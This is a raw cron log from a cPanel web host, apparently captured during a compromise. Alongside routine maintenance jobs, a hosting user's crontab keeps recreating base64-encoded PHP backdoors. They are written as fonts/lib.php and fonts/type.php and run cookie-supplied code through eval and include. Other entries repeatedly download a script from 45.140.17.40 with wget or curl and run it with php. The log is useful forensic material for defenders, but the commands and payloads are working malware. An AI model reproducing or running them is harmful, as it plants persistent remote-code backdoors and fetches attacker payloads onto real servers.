Sep 21 08:41:01 ip-184-168-122-23 CROND[26124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:41:01 ip-184-168-122-23 CROND[26125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:42:01 ip-184-168-122-23 CROND[26258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:42:01 ip-184-168-122-23 CROND[26260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:42:01 ip-184-168-122-23 CROND[26262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:42:01 ip-184-168-122-23 CROND[26259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:42:01 ip-184-168-122-23 CROND[26261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:43:01 ip-184-168-122-23 CROND[26384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:43:01 ip-184-168-122-23 CROND[26385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:43:01 ip-184-168-122-23 CROND[26388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:43:01 ip-184-168-122-23 CROND[26387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:44:01 ip-184-168-122-23 CROND[26631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:44:01 ip-184-168-122-23 CROND[26633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:44:01 ip-184-168-122-23 CROND[26634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:44:01 ip-184-168-122-23 CROND[26635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:44:01 ip-184-168-122-23 CROND[26636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:45:01 ip-184-168-122-23 CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26781]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 21 08:45:01 ip-184-168-122-23 CROND[26779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26928]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26927]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:46:01 ip-184-168-122-23 CROND[26934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:46:01 ip-184-168-122-23 CROND[26935]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:47:01 ip-184-168-122-23 CROND[27103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:47:01 ip-184-168-122-23 CROND[27104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:47:01 ip-184-168-122-23 CROND[27102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:47:01 ip-184-168-122-23 CROND[27105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:48:01 ip-184-168-122-23 CROND[27515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:48:01 ip-184-168-122-23 CROND[27517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:48:01 ip-184-168-122-23 CROND[27518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:48:01 ip-184-168-122-23 CROND[27520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:48:01 ip-184-168-122-23 CROND[27519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:49:01 ip-184-168-122-23 CROND[27739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:49:01 ip-184-168-122-23 CROND[27740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:49:01 ip-184-168-122-23 CROND[27743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:49:01 ip-184-168-122-23 CROND[27744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:50:01 ip-184-168-122-23 CROND[27862]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27863]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27867]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27868]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:50:01 ip-184-168-122-23 CROND[27870]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:50:01 ip-184-168-122-23 CROND[27872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:51:01 ip-184-168-122-23 CROND[28034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:51:01 ip-184-168-122-23 CROND[28039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:51:01 ip-184-168-122-23 CROND[28037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:51:01 ip-184-168-122-23 CROND[28038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:52:01 ip-184-168-122-23 CROND[28212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:52:01 ip-184-168-122-23 CROND[28211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:52:01 ip-184-168-122-23 CROND[28215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:52:01 ip-184-168-122-23 CROND[28216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:52:01 ip-184-168-122-23 CROND[28218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:53:02 ip-184-168-122-23 CROND[28377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:53:02 ip-184-168-122-23 CROND[28379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:53:02 ip-184-168-122-23 CROND[28381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
